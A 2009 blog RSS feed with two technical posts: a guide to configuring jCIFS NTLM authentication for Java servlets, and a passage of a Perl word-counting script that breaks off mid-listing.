<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; scripts</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/scripts/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>NTLM Authentication</title>
		<link>http://www.dailyinfobyte.com/2009/03/24/ntlm-authentication/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/24/ntlm-authentication/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 03:25:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[HttpServletRequest.getRemoteUser()]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[NTLM Authentication]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[servlet questions]]></category>
		<category><![CDATA[Servlets]]></category>
		<category><![CDATA[Servlets FAQ]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[Web applications]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=145</guid>
		<description><![CDATA[Introduction:
This BOK details how to get a Java-based web-application to negotiate with a IE web client for username and domain information. This is a common requirement for web-based applications especially ones that do not want to bore users with a login page. IE will negotiate a user&#8217;s password hashes with the webserver, which checks their [...]]]></description>
			<content:encoded><![CDATA[<h2><span style="font-size: 10pt; font-family: Verdana;">Introduction:</span></h2>
<p class="MsoBodyText"><strong><span style="font-size: 10pt; font-family: Verdana;">This BOK details how to get a Java-based web-application to negotiate with <span class="GramE">a</span> IE web client for username and domain information. This is a common requirement for web-based applications especially ones that do not want to bore users with a login page. IE will negotiate a user&#8217;s password hashes with the <span class="SpellE">webserver</span>, which checks their authenticity against a windows domain controller. If valid, the user&#8217;s username and domain will be accessible to the <span class="SpellE">webserver</span> <span class="SpellE">servlets</span>.</span></strong><span style="font-size: 10pt; font-family: Verdana;"> </span></p>
<h2><span style="font-size: 10pt; font-family: Verdana;">NTLM Authentication and how we achieve it:</span></h2>
<pre><span style="font-family: Verdana;"><span style="mso-spacerun: yes;"> </span>
The method <span class="SpellE"><span class="GramE">HttpServletRequest.getRemoteUser</span></span><span class="GramE">(</span>) should return the username of the person using the browser which fired a request to this <span class="SpellE">Servlet</span>.
This method, however works correctly only if the user has been authenticated first by a <span class="SpellE">webserver</span> authentication scheme -
which could be BASIC<span class="GramE">,DIGEST</span> or CLIENT-CERT. This is the kind of setup the <span class="SpellE">the</span> Apache <span class="SpellE">webserver</span> provides, giving a challenge-response, username-password method of authentication.

What we do here is use a <span class="SpellE">Servlet</span> filter provided as part of the open-source <span class="SpellE">jCIFS</span> package, to get an IE user's username and domain. 

This filter will take the trouble of intercepting user requests, asking IE for the user's password <span class="SpellE">hashes,validating</span> them against a windows domain controller and enabling <span class="SpellE">HttpServletRequest.getRemoteUser</span>() to return the windows user id.</span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;">Please note this method will not work for non-IE clients, simply because this is a proprietary extension by Microsoft. </span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;">For other browsers you will have to rely on BASIC or certificate-based authentication.</span></pre>
<h2><span style="font-size: 10pt; font-family: Verdana;">How to setup your web application:</span></h2>
<pre><span style="font-family: Verdana;"><span style="mso-spacerun: yes;"> </span>First, we need to download a <span class="SpellE">jcifs</span> jar from <a href="http://jcifs.samba.org/"><strong><span style="mso-ansi-font-size: 10.0pt; mso-bidi-font-size: 10.0pt;"><span style="color: #3366cc;">http://jcifs.samba.org</span></span></strong></a>. I have tested this with <span class="SpellE">jcifs</span> version 0.7.14.jCIFS is from the makers of Samba and provides APIs to access Windows shares, networks and the ability to authenticate against a Windows domain controller. Place this jar under WEB-INF/lib of your web application. There is a filter called <span class="SpellE">jcifs.http.NtlmHttpFilter</span> which implements all the <span class="SpellE">wizadry</span> above. You need to register it in your application's <span class="SpellE">web.xml</span> descriptor:</span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre style="margin-left: 0.5in;"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;">&lt;web-app&gt;
...
<span style="mso-spacerun: yes;">   </span><span style="mso-spacerun: yes;"> </span>&lt;!-- NTLM HTTP Authentication only works with MSIE --&gt;
<span style="mso-spacerun: yes;">    </span>
<span style="mso-spacerun: yes;">    </span>&lt;filter&gt;
<span style="mso-spacerun: yes;">        </span>&lt;filter-name&gt;NTLM HTTP Authentication Filter&lt;/filter-name&gt;
<span style="mso-spacerun: yes;">        </span>&lt;filter-class&gt;<span class="SpellE">jcifs.http.NtlmHttpFilter</span>&lt;/filter-class&gt;

<span style="mso-spacerun: yes;">        </span>&lt;!-- CCD will help you with a PDC and WINS server <span class="SpellE">ip</span> at your location. --&gt;
<span style="mso-spacerun: yes;">        </span>&lt;init-<span class="SpellE">param</span>&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-name&gt;<span class="SpellE">jcifs.http.domainController</span>&lt;/<span class="SpellE">param</span>-name&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-value&gt;192.168.170.5&lt;/<span class="SpellE">param</span>-value&gt;
<span style="mso-spacerun: yes;">        </span>&lt;/init-<span class="SpellE">param</span>&gt;

<span style="mso-spacerun: yes;">        </span>&lt;init-<span class="SpellE">param</span>&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-name&gt;<span class="SpellE">jcifs.netbios.wins</span>&lt;/<span class="SpellE">param</span>-name&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-value&gt;192.168.166.13&lt;/<span class="SpellE">param</span>-value&gt;
<span style="mso-spacerun: yes;">        </span>&lt;/init-<span class="SpellE">param</span>&gt;
<span style="mso-spacerun: yes;">    </span>&lt;/filter&gt;

<span style="mso-spacerun: yes;">    </span>&lt;<span class="GramE">!--</span> This is the <span class="SpellE">url</span> under which we need access to the username and domain. --&gt;

<span style="mso-spacerun: yes;">    </span>&lt;filter-mapping&gt;
<span style="mso-spacerun: yes;">        </span>&lt;filter-name&gt;NTLM HTTP Authentication Filter&lt;/filter-name&gt;
<span style="mso-spacerun: yes;">        </span>&lt;<span class="SpellE">url</span>-pattern&gt;/*&lt;/<span class="SpellE">url</span>-pattern&gt;
<span style="mso-spacerun: yes;">    </span>&lt;/filter-mapping&gt;

...

&lt;/web-app&gt;</span></em></pre>
<pre style="margin-left: 0.5in;"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;"> </span></em></pre>
<pre><span style="font-family: Verdana;">That's it. Now all IE requests to your <span class="SpellE">webserver</span> <span class="SpellE">urls</span> as specified in the <span class="SpellE">web.xml</span> entries are negotiated so that you can call a <span class="SpellE"><span class="GramE">HttpServletRequest.getRemoteUser</span></span><span class="GramE">(</span>) to get the remote user's username in the form.

<span style="mso-spacerun: yes;">            </span><span class="GramE">DOMAIN\username.</span>

Please note at no point will a password dialog pop up for the user, the password hashes are picked from IE and validated with the domain controller.</span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;">Example code for a <span class="SpellE"><span class="GramE">servlet</span></span><span class="GramE"> :</span></span></pre>
<pre style="margin-left: 45.8pt;"><span style="font-family: Verdana;"> </span></pre>
<pre style="margin-left: 45.8pt;"><span style="font-family: Verdana;"> </span></pre>
<pre style="margin-left: 45.8pt;"><span class="GramE"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;">public</span></em></span><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;"> void <span class="SpellE">doGet</span>( <span class="SpellE">HttpServletRequest</span> <span class="SpellE">req</span>,
<span style="mso-tab-count: 2;">                        </span><span class="SpellE">HttpServletResponse</span> <span class="SpellE">resp</span> )
throws <span class="SpellE">IOException</span>, <span class="SpellE">ServletException</span>
<span style="mso-spacerun: yes;">        </span></span></em></pre>
<pre style="margin-left: 45.8pt;"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;"><span style="mso-spacerun: yes;">        </span>{</span></em></pre>
<div style="margin-left: 30pt;">
<p class="MsoNormal" style="margin: 0in 0in 12pt 45.8pt;"><span class="SpellE"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';">PrintWriter</span></em></span><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';"> out = <span class="SpellE">resp.getWriter</span>();</p>
<p><span class="SpellE">resp.setContentType</span>( &#8220;text/html&#8221; );<br />
<span class="SpellE">out.println</span>( &#8220;&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;NTLM HTTP Authentication Example&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;BODY&gt;&#8221; );<br />
<span class="SpellE">out.println</span>( &#8220;&lt;h2&gt;NTLM HTTP Authentication Example&lt;/h2&gt;&#8221; );</p>
<p><span class="SpellE">out.println</span>( <span class="SpellE">req.getRemoteUser</span>() + &#8221; logged in&#8221; );</span></em>
</p>
<p class="MsoNormal" style="margin: 0in 0in 12pt 45.8pt;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';"> </span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 12pt 45.8pt;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';">}</span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 12pt -30pt;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';">If the filter has not been configured properly, a null will be printed for the above call to <span class="SpellE"><span class="GramE">req.getRemoteUser</span></span><span class="GramE">(</span>).</span></p>
<pre><span style="font-family: Verdana;"> </span></pre>
</div>
<h2><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: Verdana;">References:</span></span><span style="font-size: 10pt; font-family: Verdana;"></span></h2>
<ul type="disc">
<li class="MsoNormal" style="mso-list: l0 level1 lfo1; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span class="msonormal0"><span style="font-size: 10pt; font-family: Verdana;">Web <span class="GramE">Link :-</span> http://jcifs.samba.org. <a href="http://http/jcifs.samba.org"></a></span></span><span style="font-size: 10pt; font-family: Verdana;"></span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/24/ntlm-authentication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PERL Script -A word search program</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:04:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PERL Script -A word search program]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=119</guid>
		<description><![CDATA[# This script is used to count the number of occurrence of a given search word in the files provided in the command line.
 
# The user has to provide the file names as parameters in the command line.
 
 
#!/usr/local/bin/perl
# Declaring the variables
my $wordToSearch;
my $fileCount=0;
my @wordCount;
my $totalWordCount=0;
 
# Declaring the variables for sending mail
my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;
my $toaddress [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># This script is used to count the number of occurrence of a given search word in the files provided in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># The user has to provide the file names as parameters in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#!/usr/local/bin/perl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $wordToSearch;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fileCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @wordCount;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $totalWordCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables for sending mail</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $toaddress = &#8220;to_dave\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $subject = &#8220;Give some subject&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $mailer = &#8220;/usr/lib/sendmail -f$fromaddress -oi&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Prompting the user to enter the word to search and storing it in variable.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;Enter the word to be searched:&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$wordToSearch=&lt;STDIN&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Choping the input to get rid of the new line character at the end</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop ($wordToSearch);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Starting the loop which will continue till the files given in the command line is exhausted.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while ($fileCount &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$wordCount[$fileCount]= 0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Tries to open the file one by one. If the file cannot be opened then the program will print an error message </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">unless (open (INFILE, $ARGV[$fileCount])) </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>die (&#8221;Cannot open the input file $ARGV[$fileCount]\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#If the program reached untill here that means the file was available to open.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues untill the end of file is reached.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>while ($line = &lt;INFILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{<span style="mso-tab-count: 1;">        </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>my $count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Chop the line for removing the new line character.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop($line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Split the line based on space and stores it in the array @array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @array = split(/ /,$line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues until it reaches the end of the array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @array)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Checks the array one by one to find whether the elements matches with the search words.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>#If matches then increments the word count.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>if ($array[$count] eq $wordToSearch)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 4;">                                      </span>$wordCount[$fileCount]= $wordCount[$fileCount]+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>$count=$count+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>}</span></p>
